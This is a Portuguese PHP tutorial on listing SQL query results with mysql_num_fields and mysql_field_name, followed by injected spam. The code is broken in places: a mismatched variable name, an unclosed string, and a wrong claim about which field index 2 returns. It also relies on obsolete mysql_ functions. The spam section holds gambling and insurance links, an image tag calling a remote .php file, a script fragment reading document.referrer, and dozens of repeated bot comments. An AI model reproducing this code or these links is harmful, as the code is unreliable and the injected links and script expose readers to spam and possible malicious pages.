Exibição de consultas sql no php

Este artigo demonstra a utilização das funções mysql_num_fields e mysql_field_name do PHP para a visualização de resultados de uma consulta SQL.
Utilizando estas duas funções o código fica muito mais limpo, e vai dar uma trégua para sua tendinite ;)
* mysql_num_fields: Essa função retorna a quantidade de campos de uma SQL.
Exemplo:
<?php
$SQL="Select id, nome from tabela";
$resultado=@mysql_query($SQL) or die(mysql_error());
$ncampos=mysql_num_fields($resultado);
?>
O valor de ncampos será 2, pois os campos listados na SQL são id e nome.
Então, poderíamos fazer:
<?php
$ncampos=mysql_num_fields($resultado);
echo "<tr>";
for( $y=0; $y<$ncampos; $y++){
$campo=mysql_field_name($result,$y);
echo "<td>$campo</td>";
}
echo "</tr>";
?>
Com esse código, nós criamos o cabeçalho da tabela de resultados, sem ao menos saber os nomes dos campos que serão apresentados.
* mysql_field_name: Essa função retorna o nome do campo na ordem que foi inserida na SQL.
Exemplo:
<?php
$SQL="Select id, nome,email from tabela";
$resultado=@mysql_query($SQL) or die(mysql_error());
$campo=mysql_field_name($resultado,2);
?>
O valor de campo será nome, pois é o segundo campo listado na SQL.
Agora, para listarmos todo o resutado de uma consulta SQL, podemos fazer assim:
<?php
while ($array_result = mysql_fetch_array($resultado)) {
echo "<tr>";
for( $y=0; $y<$ncampos; $y++){
$valor=mysql_field_name($resultado,$y);
echo "<td> $array_result[$valor] </td>";
}
echo "</tr>;
}
?>
Então é isso, por enquanto é só! Fica para um próximo artigo como paginar os resultados.


en4fzto-2kev34u-tw6q93e5-0 var r = document.referrer; document.write('<' + '/script>') http://online-poker-mo.lookera.net#1
free poker
[url=http://roulette-mo.lookera.net#3]roulette[/url]
[url]http://urlser.com/?nm4rK#4[/url]
[http://roulette-mo.lookera.net#5 roulette]
"insurance":http://urlser.com/?xFj4E#6
[LINK http://urlser.com/?m6c0v#7]auto insurance[/LINK]
[img]http://victor.freewebhostingpro.com/1.php[/img]
Nice site. Thanks!
Hello, very nice site!
Excellent web site. I will visit it often.
Well done!
Good site. Thank you.
Hello, very nice site!
TARRIFIC SITE!
Hi, nice site
very interesting fix links
Cool site. Thank you:-)
I like your site very much indeed.
Cool site. Thank you!
Nice site. Thanks.
I just don't have anything to say.
Cool site. Thank you:-)
I feel like a bunch of nothing.
Hi, nice site
Great work!
I just don't have anything to say.
Thank you!
Excellent web site. I will visit it often.
TARRIFIC SITE!
Nice site. Thanks!
Nice site. Thanks!
Pretty much nothing seems important.
very interesting fix links
Great site! Beautiful craftsmanship!! Keep of the wonderful work!!
Cool site. Thank you:-)
TARRIFIC SITE!
Thank you!
I like your site very much indeed.
Great work!
Hello, very nice site!
Hello, very nice site!
Pretty much nothing seems important.
Excellent web site. I will visit it often.
I feel like a bunch of nothing.
Nice site. Thanks!
Nice site. Thanks!
Nice site
Hello, very nice site!
Great site! Beautiful craftsmanship!! Keep of the wonderful work!!
Nice site. Thanks.
Pretty much nothing seems important.
Nice site. Thanks.
I like your site very much indeed.
I like your site very much indeed.
Thank you!
I feel like a bunch of nothing.